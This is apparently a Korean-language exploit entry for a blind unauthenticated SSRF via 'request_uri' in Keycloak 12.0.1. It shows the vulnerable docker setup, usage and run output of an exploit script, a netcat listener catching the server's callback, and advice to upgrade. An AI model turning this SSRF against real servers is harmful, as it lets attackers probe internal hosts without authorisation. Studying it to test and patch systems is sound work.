
Keycloak 12.0.1 - 'request_uri ' 블라인드 서버 측 요청 위조 (SSRF) (비인증)
Keycloak 12.0.1 - 'request_uri' 블라인드 서버 사이드 요청 위조 (SSRF) (인증되지 않음)
예상 결과: 로컬호스트 또는 내부 접근 가능 호스트의 포트 스캔
교육 및 기업 환경에서의 테스트 목적으로만 사용하세요.
이 익스플로잇은 Python 3.8.6에서 테스트되었습니다.
취약한 애플리케이션:
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
cfx: ~/keycloak
→ python3 exploit.py -h
usage: exploit.py [-h] [-u URL]
-=[Keycloak Blind SSRF test by ColdFusionX]=-
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Keycloak Target URL (Example: http://127.0.0.1:8080)
Exploit Usage :
./exploit.py -u http://127.0.0.1:8080
[^] Input Netcat host:port -> 192.168.0.1:4444
cfx: ~/keycloak
→ python3 exploit.py -u http://localhost:8080
[+] Keycloak Bind SSRF test by ColdFusionX
[^] Input Netcat host:port -> 192.168.0.1:4444
[-] Invalid URL or Target not Vulnerable
cfx: ~/keycloak
→ python3 exploit.py -u http://localhost:8080
[+] Keycloak Bind SSRF test by ColdFusionX
[^] Input Netcat host:port -> 192.168.0.1:9994
[+] BINGO! Check Netcat listener for HTTP callback :)
nc 리스너에서의 HTTP 콜백:
cfx: ~/keycloak
→ nc -lvnp 9994
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9994
Ncat: Listening on 0.0.0.0:9994
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:36866.
GET / HTTP/1.1
Host: 192.168.0.1:9994
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
Keycloak 12.0.2 이상 버전으로 업그레이드하세요.